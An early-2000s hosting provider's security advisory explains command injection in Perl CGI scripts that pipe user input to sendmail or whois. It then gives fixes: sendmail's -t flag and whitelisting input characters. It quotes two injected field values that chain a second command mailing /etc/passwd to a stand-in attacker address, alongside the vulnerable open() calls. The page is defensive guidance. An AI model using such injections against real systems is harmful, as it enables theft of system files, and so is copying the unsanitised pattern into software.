![]() |
|
|
|
![]() |
![]() ![]() |
CGI Security IssuesA common problem with "free" CGI scripts allows an attacker to execute arbitrary shell commands on your Virtual Server with all of the privileges as you would have at a command prompt (such as when you Telnet or SSH to your Virtual Server). It may then be possible for the attacker to gain privileged access to your Virtual Server. The problem lies inherently in how the scripts are written not with the overall security of the Virtual Server Environment.Blue Reef strongly advises you to check all scripts you download "free" from a third party source. You should specifically look for instances were the script opens a file handle to an external program such as a mail executable (a common task). When these file handles are opened using user-supplied data, you should ensure that these data have been properly "sanitized". For example, you may have a script which packages user-supplied and emails it to a recipient. Perhaps it looks something like: open (MAIL,
"|/bin/sendmail $user_supplied_data{'recipient'}"); The above code could possibly be prone to an attack. This would be accomplished by submitting for the value of "recipient" something like the following:
some@email.address && mail attacker@email.address < /etc/passwd The easiest way to deny an attack in this particular example is to eliminate user-supplied data from the open command. The sendmail program has a very useful flag , -t, which when set forces sendmail to read the message headers (To:, Cc:, Bcc:) for recipients. So instead of: open (MAIL,
"|/bin/sendmail $user_supplied_data{'recipient'}"); use this: open (MAIL,
"|/bin/sendmail -t"); open (WHOIS,
"/bin/whois $user_supplied_data{'domain_name'} |"); The above code could possibly be prone to an attack. This would be accomplished by submitting for the value of "domain_name" something like the following:
domain.name && mail attacker@email.address < /etc/passwd The best way to prevent these types of attacks from being successful is to "sanitize" user-supplied data. Sanitizing user-supplied data is the process of eliminating any nonessential characters. So, in the example above, it would be very wise to check the "domain_name" against a valid character set which includes letters, digits, dashes, and periods. This can be accomplished using just a few lines of perl: if ($user_supplied_data{'domain_name'}
=~ /[^A-Za-z0-9\.\-]/) { More information about proper CGI security is presented (including examples
of specific programming techniques) at the following URLs: Other Resources
CERT advisories on USENET CERT advisories via email (Type "SUBSCRIBE your@email.address" in the subject line.)
|
|
![]() |
[ SERVERS | ECOMMERCE | SUPPORT | SPECIALS | SEARCH | SITE MAP | ORDER] [ HOME | CONTACT US | ABOUT US | PRIVACY | LEGAL | REFUND POLICY ] © Copyright 1998 - 2001 Blue Reef Consulting, Inc. All Rights Reserved. Comments or questions about this web site? Write to webmaster@bluereef.net. Phone: (305) 274-8393 |